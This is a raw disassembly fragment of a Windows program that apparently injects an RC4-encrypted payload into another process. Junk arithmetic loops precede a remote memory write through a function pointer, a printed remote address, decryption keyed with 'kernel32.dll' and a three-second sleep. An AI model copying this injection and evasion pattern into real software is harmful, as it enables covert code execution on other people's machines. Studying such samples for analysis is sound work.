sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea edi, [rdx + 1]
mov eax, dword [rbp + 0x1c4]
cdq
idiv edi
mov edx, eax
mov eax, r8d
sub eax, edx
add dword [rbp + 0x1c0], eax
add dword [rbp + 0x140], 1
cmp dword [rbp + 0x140], 0xf9
jle 0x140002f17
mov dword [rbp + 0x13c], 0
jmp 0x1400030a6
mov eax, dword [rbp + 0x13c]
imul eax, dword [rbp + 0x1c0]
mov ecx, dword [rbp + 0x1cc]
mov edx, dword [rbp + 0x1c8]
add edx, ecx
add eax, edx
mov edx, dword [rbp + 0x13c]
lea edi, [rdx + 1]
cdq
idiv edi
mov ecx, edx
mov eax, ecx
sub dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add edx, eax
mov eax, dword [rbp + 0x1c4]
add eax, edx
mov edx, dword [rbp + 0x13c]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1cc], edx
mov eax, dword [rbp + 0x1c8]
imul eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x13c]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1c8], edx
mov eax, dword [rbp + 0x1c4]
sub eax, dword [rbp + 0x1cc]
mov edx, eax
mov eax, dword [rbp + 0x1c8]
add eax, edx
mov edx, dword [rbp + 0x13c]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1c4], edx
add dword [rbp + 0x13c], 1
cmp dword [rbp + 0x13c], 0x63
jle 0x140002ffd
mov dword [rbp + 0x138], 0
jmp 0x140003120
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
sub eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x138]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140003119
mov eax, dword [rbp + 0x138]
add dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c8], eax
add dword [rbp + 0x138], 1
cmp dword [rbp + 0x138], 0x1f3
jle 0x1400030bf
mov dword [rbp + 0x134], 0
jmp 0x1400031ab
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x70], eax
mov ecx, dword [rbp + 0x134]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
mov eax, edx
imul eax, dword [rbp + 0x70]
add dword [rbp + 0x1c0], eax
mov eax, dword [rbp + 0x1c8]
mov dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x70]
mov dword [rbp + 0x1c4], eax
add dword [rbp + 0x134], 1
cmp dword [rbp + 0x134], 0xc7
jle 0x140003138
mov dword [rbp + 0x130], 0
jmp 0x14000323c
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x130]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x130]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
add dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x130]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x32
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140003235
mov eax, dword [rbp + 0x1cc]
sub eax, dword [rbp + 0x1c8]
add dword [rbp + 0x1c4], eax
add dword [rbp + 0x130], 1
cmp dword [rbp + 0x130], 0x12b
jle 0x1400031c3
mov dword [rbp + 0x12c], 0
jmp 0x140003300
mov dword [rbp + 0x128], 0
jmp 0x1400032ec
cmp dword [rbp + 0x12c], 0x3e7
jle 0x14000325b
mov r10, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0x80]
mov rax, qword [rbp + 0x90]
mov qword [rsp + 0x20], 0
mov r9, rcx
lea r8, section..data
mov rcx, rax
call r10
mov rax, qword [rbp + 0x80]
mov rcx, rax
call sym.printRemoteAddress_void_
mov rax, qword [rbp + 0xd8]
lea r8, str.kernel32.dll
mov edx, eax
lea rax, section..data
mov rcx, rax
call sym.rc4_unsigned_char__int__char_const_
lea rax, str.___Durmiendo_3_segundos..
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140a894e0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0xbb8
call sym.customSleep_unsigned_int_
mov dword [rbp + 0x124], 0
jmp 0x14000347e
mov eax, 0
add rsp, 0x258
pop rdi
pop rbp
ret